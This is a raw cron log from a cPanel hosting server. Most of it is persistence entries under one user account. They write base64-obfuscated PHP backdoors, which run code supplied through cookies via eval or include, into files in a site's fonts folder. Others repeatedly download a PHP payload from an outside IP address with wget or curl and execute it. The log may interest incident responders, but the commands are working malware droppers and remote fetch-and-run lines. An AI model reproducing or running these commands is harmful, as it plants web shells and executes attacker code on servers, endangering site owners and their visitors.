Aug 30 23:22:01 ip-184-168-122-23 CROND[24363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:22:01 ip-184-168-122-23 CROND[24362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:23:01 ip-184-168-122-23 CROND[24443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:23:01 ip-184-168-122-23 CROND[24445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:23:01 ip-184-168-122-23 CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:23:01 ip-184-168-122-23 CROND[24447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:24:01 ip-184-168-122-23 CROND[24620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:24:01 ip-184-168-122-23 CROND[24623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:24:01 ip-184-168-122-23 CROND[24625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:24:01 ip-184-168-122-23 CROND[24624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:24:01 ip-184-168-122-23 CROND[24622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:25:01 ip-184-168-122-23 CROND[24704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:25:01 ip-184-168-122-23 CROND[24705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:25:01 ip-184-168-122-23 CROND[24707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:25:01 ip-184-168-122-23 CROND[24708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:25:01 ip-184-168-122-23 CROND[24712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:25:01 ip-184-168-122-23 CROND[24710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:26:01 ip-184-168-122-23 CROND[24798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:26:01 ip-184-168-122-23 CROND[24799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:26:01 ip-184-168-122-23 CROND[24800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:26:01 ip-184-168-122-23 CROND[24801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:26:01 ip-184-168-122-23 CROND[24802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:27:01 ip-184-168-122-23 CROND[24895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:27:01 ip-184-168-122-23 CROND[24897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:27:01 ip-184-168-122-23 CROND[24896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:27:01 ip-184-168-122-23 CROND[24899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:28:01 ip-184-168-122-23 CROND[25003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:28:01 ip-184-168-122-23 CROND[25005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:28:01 ip-184-168-122-23 CROND[25007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:28:01 ip-184-168-122-23 CROND[25006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:28:01 ip-184-168-122-23 CROND[25004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:29:01 ip-184-168-122-23 CROND[25093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:29:01 ip-184-168-122-23 CROND[25094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:29:01 ip-184-168-122-23 CROND[25095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:29:01 ip-184-168-122-23 CROND[25097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:30:01 ip-184-168-122-23 CROND[25263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:30:01 ip-184-168-122-23 CROND[25264]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:30:01 ip-184-168-122-23 CROND[25268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:30:01 ip-184-168-122-23 CROND[25269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:30:01 ip-184-168-122-23 CROND[25271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:30:01 ip-184-168-122-23 CROND[25273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:30:01 ip-184-168-122-23 CROND[25276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:30:01 ip-184-168-122-23 CROND[25279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:31:01 ip-184-168-122-23 CROND[25371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:31:01 ip-184-168-122-23 CROND[25373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:31:01 ip-184-168-122-23 CROND[25374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:31:01 ip-184-168-122-23 CROND[25377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:31:01 ip-184-168-122-23 CROND[25375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:32:01 ip-184-168-122-23 CROND[25467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:32:01 ip-184-168-122-23 CROND[25468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:32:01 ip-184-168-122-23 CROND[25470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:32:01 ip-184-168-122-23 CROND[25469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:32:01 ip-184-168-122-23 CROND[25472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:33:01 ip-184-168-122-23 CROND[25553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:33:01 ip-184-168-122-23 CROND[25554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:33:01 ip-184-168-122-23 CROND[25555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:33:01 ip-184-168-122-23 CROND[25556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:34:01 ip-184-168-122-23 CROND[25638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:34:02 ip-184-168-122-23 CROND[25640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:34:02 ip-184-168-122-23 CROND[25642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:34:02 ip-184-168-122-23 CROND[25643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
